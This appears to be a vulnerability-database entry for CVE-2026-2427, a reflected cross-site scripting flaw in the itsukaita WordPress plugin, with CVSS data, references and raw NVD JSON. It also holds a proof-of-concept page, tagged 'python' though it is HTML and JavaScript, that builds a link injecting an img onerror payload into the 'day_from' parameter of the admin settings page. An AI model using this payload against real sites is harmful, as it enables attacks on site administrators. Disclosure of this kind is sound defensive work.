CVE-2026-2427

Description

The itsukaita plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'day_from' and 'day_to' parameters in all versions up to, and including, 0.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

itsukaita <= 0.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-2427
  Description: Reflected XSS in 'day_from' and 'day_to' parameters
-->

<!--
  Usage:
  1. Host this script or send the link directly.
  2. Ensure the target WordPress site has the itsukaita plugin installed.
  3. The victim (Admin) must be logged in and click the link.
-->

<html>
<body>
<h3>CVE-2026-2427 PoC Generator</h3>
<script>
  // Generate malicious payload
  const payload = '<img src=x onerror=alert(\'XSS_CVE-2026-2427\')>';
  
  // Vulnerable parameters
  const params = new URLSearchParams({
    day_from: payload,
    day_to: '2026-12-31'
  });

  // Construct the full URL (Replace TARGET_URL with actual domain)
  // Example: http://localhost/wp-admin/admin.php?page=itsukaita_settings
  const targetBaseUrl = 'http://TARGET_URL/wp-admin/admin.php?page=itsukaita_settings';
  const exploitUrl = `${targetBaseUrl}&${params.toString()}`;

  document.write(`<a href="${exploitUrl}" target="_blank">Click to Exploit (Simulated)</a>`);
  console.log("Exploit URL:", exploitUrl);
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2427
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2427
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2427/
[4] VulDB https://vuldb.com/cve/CVE-2026-2427
[5] https://plugins.trac.wordpress.org/browser/itsukaita/tags/0.1.2/itsukaita.php#L55
[6] https://plugins.trac.wordpress.org/browser/itsukaita/trunk/itsukaita.php#L55
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/a0010ee3-1016-479f-ae60-5d5900862489?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2427", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:01.217", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The itsukaita plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'day_from' and 'day_to' parameters in all versions up to, and including, 0.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin itsukaita para WordPress es vulnerable a cross-site scripting reflejado a través de los parámetros 'day_from' y 'day_to' en todas las versiones hasta la 0.1.2, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes no autenticados inyectar scripts web arbitrarios en páginas que se ejecutan si logran engañar a un administrador para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/itsukaita/tags/0.1.2/itsukaita.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/itsukaita/trunk/itsukaita.php#L55", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a0010ee3-1016-479f-ae60-5d5900862489?source=cve", "source": "[email protected]"}]}}